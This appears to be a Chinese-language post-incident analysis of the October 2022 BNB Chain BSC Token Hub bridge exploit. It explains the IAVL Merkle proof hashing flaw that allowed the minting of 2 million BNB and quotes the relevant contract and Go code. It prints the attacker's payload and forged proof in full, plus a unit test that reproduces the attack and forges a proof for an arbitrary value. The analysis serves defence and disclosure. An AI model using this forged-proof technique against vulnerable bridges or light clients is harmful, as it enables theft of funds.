北京时间 2022 年 10 月 7 日凌晨,BNB Chian 跨链桥 BSC Token Hub 遭遇攻击。黑客利用跨链桥漏洞分两次共获取 200 万枚 BNB,价值约 5.66 亿美元。
BSCTokenHub 是 BNB 信标链(BEP2)和 BNB 链(BEP20 或 BSC)之间的跨链桥。BNB 链使用预编译合约 0x65 验证 BNB 信标链提交的 IAVL 的 Proof,但 BNB 链对提交的 Proof 边界情况处理不足,它仅考虑了 Proof 只有一个 Leaf 的场景,对多个 Leaves 的处理逻辑不够严谨。黑客构造了一个包含多 Leaves 的 Proof 数据,绕过 BNBChain 上的校验,从而在 BNB 链造成了 BNB 增发。
以其中一次攻击交易为例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
黑客构造输入数据 payload 和 proof,输入参数通过validateMerkleProof校验,返回值为 true。

在后续IApplication(handlerContract).handleSynPackage 处理中,合约给黑客增发 100 万个 BNB。

交易首先调用 CrossChain 合约 0x2000 的 handlePackage 函数:
function handlePackage(bytes calldata payload, bytes calldata proof, uint64 height, uint64 packageSequence, uint8 channelId) onlyInit onlyRelayer sequenceInOrder(packageSequence, channelId) blockSynced(height) channelSupported(channelId) external { bytes memory payloadLocal = payload; // fix error: stack too deep, try removing local variables bytes memory proofLocal = proof; // fix error: stack too deep, try removing local variables require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height), STORE_NAME, generateKey(packageSequence, channelId), payloadLocal, proofLocal), "invalid merkle proof"); address payable headerRelayer = ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height); ... ... if (packageType == SYN_PACKAGE) { address handlerContract = channelHandlerContractMap[channelIdLocal]; tryIApplication(handlerContract).handleSynPackage(channelIdLocal, msgBytes) returns (bytes memory responsePayload) { if (responsePayload.length!=0) { sendPackage(channelSendSequenceMap[channelIdLocal], channelIdLocal, encodePayload(ACK_PACKAGE, 0, responsePayload)); channelSendSequenceMap[channelIdLocal] = channelSendSequenceMap[channelIdLocal] + 1; } } ... ... } ... ... IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer, msg.sender, relayFee, isRelayRewardFromSystemReward[channelIdLocal] || packageType != SYN_PACKAGE); } 输入参数{ "payload": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100", "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143", "height": 110217401, "packageSequence": 17684572, "channelId": 2}handlePackage 会进一步调用 MerkleProof.validateMerkleProof 对输入的 proof 进行校验:
// 函数原型:function validateMerkleProof( bytes32 appHash, string memory storeName, bytes memory key, bytes memory value, bytes memory proof)// 函数调用:MerkleProof.validateMerkleProof( ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height), STORE_NAME, generateKey(packageSequence, channelId), payloadLocal, proofLocal), // 调用参数:{ "appHash": "0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318", "storeName": "ibc", "key": "0x00000100380200000000010dd85c", "value": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100", "proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}MerkleProof 相关代码可以看到,实际的验证逻辑是使用预编译合约 0x65 完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66
uint256[1] memory result; /* solium-disable-next-line */ assembly { // call validateMerkleProof precompile contract // Contract address: 0x65 ifiszero(staticcall(not(0), 0x65, input, length, result, 0x20)) {} } return result[0] == 0x01;系统预编译合约 0x65 对应iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81
系统合约 0x65 实现代码如下,主要逻辑为使用 DecodeKeyValueMerkleProof 解码输入参数,并调用 Validate 进行校验:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106
func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) { //return nil, fmt.Errorf("suspend") ... ... kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])if err != nil { return nil, err } valid := kvmp.Validate()if !valid { return nil, fmt.Errorf("invalid merkle proof") } result = make([]byte, merkleProofValidateResultLength) binary.BigEndian.PutUint64(result[merkleProofValidateResultLength-uint64TypeLength:], 0x01) return result, nil}其中kvmp.Validate()实现代码如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234
func (kvmp *KeyValueMerkleProof) Validate() bool { prt := DefaultProofRuntime() kp := merkle.KeyPath{} kp = kp.AppendKey([]byte(kvmp.StoreName), merkle.KeyEncodingURL) kp = kp.AppendKey(kvmp.Key, merkle.KeyEncodingURL) if len(kvmp.Value) == 0 { err := prt.VerifyAbsence(kvmp.Proof, kvmp.AppHash, kp.String()) return err == nil } err := prt.VerifyValue(kvmp.Proof, kvmp.AppHash, kp.String(), kvmp.Value) return err == nil}DefaultProofRuntime构造函数使用 IAVL 库进行 Proof 的验证:
import ( "bytes" "fmt" "github.com/tendermint/iavl" "github.com/tendermint/tendermint/crypto/merkle" cmn "github.com/tendermint/tendermint/libs/common")... ...func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return}IAVL 的 Proof 校验过程中,Hash 计算存在漏洞,导致黑客可以在 Proof 添加数据,但计算 Hash 时并没有用到添加的数据。详细分析如下:
在 len(pin.Left) 不为 0 的分支中,计算 Hash 并没有使用 pin.Right 数据。黑客利用该处漏洞构造数据,添加 proof.LeftPath[1].Right 数据,但是该数据并不参与 Hash 计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93
func (pin ProofInnerNode) Hash(childHash []byte) ([]byte, error) { hasher := sha256.New() buf := bufPool.Get().(*bytes.Buffer) buf.Reset() defer bufPool.Put(buf) err := encoding.EncodeVarint(buf, int64(pin.Height)) if err == nil { err = encoding.EncodeVarint(buf, pin.Size) } if err == nil { err = encoding.EncodeVarint(buf, pin.Version) }iflen(pin.Left) == 0 {if err == nil { err = encoding.EncodeBytes(buf, childHash) }if err == nil { err = encoding.EncodeBytes(buf, pin.Right) } } else {if err == nil { err = encoding.EncodeBytes(buf, pin.Left) }if err == nil { err = encoding.EncodeBytes(buf, childHash) } } if err != nil { return nil, fmt.Errorf("failed to hash ProofInnerNode: %v", err) } _, err = hasher.Write(buf.Bytes()) if err != nil { return nil, err } return hasher.Sum(nil), nil}根据上述分析,正常数据组织结构如下,proof.LeftPath[1].Right 为空值,计算得到正确的 Hash。
proof.LeftPath = len(2)
proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left 是一个正常数据,proof.LeftPath[1].Right 空值
proof.InnerNodes = len(0)
proof.Leaves = len(1),proof.Leaves[0]是一个正常数据
黑客构造攻击数据结构如下,添加 proof.LeftPath[1].Right 数据,且该数据不参与 Hash 计算。
proof.LeftPath = len(2)
proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left 是一个正常数据,proof.LeftPath[1].Right 是一个伪造数据
proof.InnerNodes = len(1), InnerNodes[0]=nil
proof.Leaves = len(2),proof.Leaves[0]是一个正常数据,proof.Leaves[1]是一个伪造数据
且 proof.LeftPath[1].Right = COMPUTEHASH(proof.Leaves[1])
IAVL 的 Proof 校验代码如下,主体逻辑为 COMPUTEHASH 递归调用。由于 lpath.Right 也为黑客输入数据,使得黑客构造的数据能够通过 bytes.Equal(derivedRoot, lpath.Right) 的校验,并返回上一轮 COMPUTEHASH 通过 proof.Leaves[0]计算的结果,该结果为正常数值,从而绕过了 IAVL 的 Proof 校验。
https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309
func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) { ... var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) // rightmost: is the root a rightmost child of the tree? // treeEnd: true iff the last leaf is the last item of the tree. // Returns the (possibly intermediate, possibly root) hash. COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) { // Pop next leaf. nleaf, rleaves := leaves[0], leaves[1:] leaves = rleaves // Compute hash. hash, err = (pathWithLeaf{ Path: path, Leaf: nleaf, }).computeRootHash() if err != nil { return nil, treeEnd, false, err } // If we don't have any leaves left, we're done. if len(leaves) == 0 { rightmost = rightmost && path.isRightmost() return hash, rightmost, true, nil } // Prove along path (until we run out of leaves). for len(path) > 0 { // Drop the leaf-most (last-most) inner nodes from path // until we encounter one with a left hash. // We assume that the left side is already verified. // rpath: rest of path // lpath: last path item rpath, lpath := path[:len(path)-1], path[len(path)-1] path = rpath if len(lpath.Right) == 0 { continue } // Pop next inners, a PathToLeaf (e.g. []ProofInnerNode). inners, rinnersq := innersq[0], innersq[1:] innersq = rinnersq // Recursively verify inners against remaining leaves. derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost()) if err != nil { return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call") } if !bytes.Equal(derivedRoot, lpath.Right) {return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot) }if done {return hash, treeEnd, true, nil } } // We're not done yet (leaves left over). No error, not done either. // Technically if rightmost, we know there's an error "left over leaves // -- malformed proof", but we return that at the top level, below. return hash, false, false, nil } // Verify! path := proof.LeftPath rootHash, treeEnd, done, err := COMPUTEHASH(path, true) if err != nil { return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call") } else if !done { return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof") } // Ok! return rootHash, treeEnd, nil}黑客攻击构造的数据中,包括了 IAVL:V 和 multistore 相关数据,multistore 数据也是基于 IAVL 进行操作,原理是一样的,不再进行详细分析。
这次 IAVL Proof 暴露的问题在于,数据局部的变化无法反应到整体,使得校验发生错误。在 Cosmos 生态中,IBC 使用 ICS23 来做数据的校验处理,ICS23 与 IAVL Proof 校验不同点在于,ICS23 会对所有的“叶子节点”的值进行数据校验,最后计算得出的根 Hash 再与链上数据进行校验,OKC 采用的是 ICS23 的 Prove,因此不存在 BNBChain 这次遇到的安全漏洞。
利用黑客攻击交易数据,基于 BNBChain 单元测试代码,增加了基于黑客攻击交易的测试用例,可以完整复现黑客的攻击交易。单元测试代码利用 iavlMerkleProofValidate.Run 接口验证输入数据,即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100
iavlMerkleProofValidateContract := iavlMerkleProofValidate{}success, err := iavlMerkleProofValidateContract.Run(input)利用黑客攻击交易数据,构造新的 payload 数据为 value := []byte(“okc test hack”),并对 proof 相应数据进行了修改,即修改 proof.LeftPath[1].Right 和 proof.Leaves[1]对应的数据,新构造的数据可以通过 okcIavlMerkleProofValidate 校验,即修改了黑客数据也能通过校验。另外,如下单元测试代码对原始黑客数据和修改后的数据两种 case 都进行了校验,且校验都能成功,从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958
func TestTmHeaderValidateAndMerkleProofValidateTest(t *testing.T) { testCases := []struct { name string value []byte proof []byte }{ { //data source https://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b "hack data", func() []byte { value, err := hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100") require.NoError(t, err) return value }(), func() []byte { proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143") require.NoError(t, err) return proofBytes }(), }, { "okc test data", func() []byte { value := []byte("okc test hack") return value }(), func() []byte { proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143") require.NoError(t, err) return proofBytes }(), }, } for _, tc := range testCases { okcIavlMerkleProofValidate(tc.value, tc.proof, t) }}func okcIavlMerkleProofValidate(value, proofBytes []byte, t *testing.T) { key, err := hex.DecodeString("00000100380200000000010dd85c") // this equal to generateKey(17684572,2) require.NoError(t, err) newAppHash, err := hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318") // this is got by hack data require.NoError(t, err) merkleProofInput := make([]byte, 32+32+len(key)+32+len(value)+32+len(proofBytes)) copy(merkleProofInput[:32], "ibc") binary.BigEndian.PutUint64(merkleProofInput[32+24:32+32], uint64(len(key))) copy(merkleProofInput[32+32:32+32+len(key)], key) binary.BigEndian.PutUint64(merkleProofInput[32+32+len(key)+24:32+32+len(key)+32], uint64(len(value))) copy(merkleProofInput[32+32+len(key)+32:32+32+len(key)+32+len(value)], value) copy(merkleProofInput[32+32+len(key)+32+len(value):32+32+len(key)+32+len(value)+32], newAppHash) copy(merkleProofInput[32+32+len(key)+32+len(value)+32:], proofBytes) totalLengthPrefix := make([]byte, 32) binary.BigEndian.PutUint64(totalLengthPrefix[0:8], 0) binary.BigEndian.PutUint64(totalLengthPrefix[8:16], 0) binary.BigEndian.PutUint64(totalLengthPrefix[16:24], 0) binary.BigEndian.PutUint64(totalLengthPrefix[24:], uint64(len(merkleProofInput))) input := append(totalLengthPrefix, merkleProofInput...) iavlMerkleProofValidateContract := iavlMerkleProofValidate{} success, err := iavlMerkleProofValidateContract.Run(input) require.NoError(t, err, err) expectedResult := make([]byte, 32) binary.BigEndian.PutUint64(expectedResult[24:], 0x01) require.Equal(t, expectedResult, success)}被攻击全过程可查看上一篇文章:链上卫士:BNBChain 遭攻击时间轴梳理。OKLink 多链浏览器已对 BNB Chain 黑客地址进行风险标签标记(标记为“Hack”),关于此次被盗后续,链上卫士团队将进一步追踪案件细节并及时同步。
【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
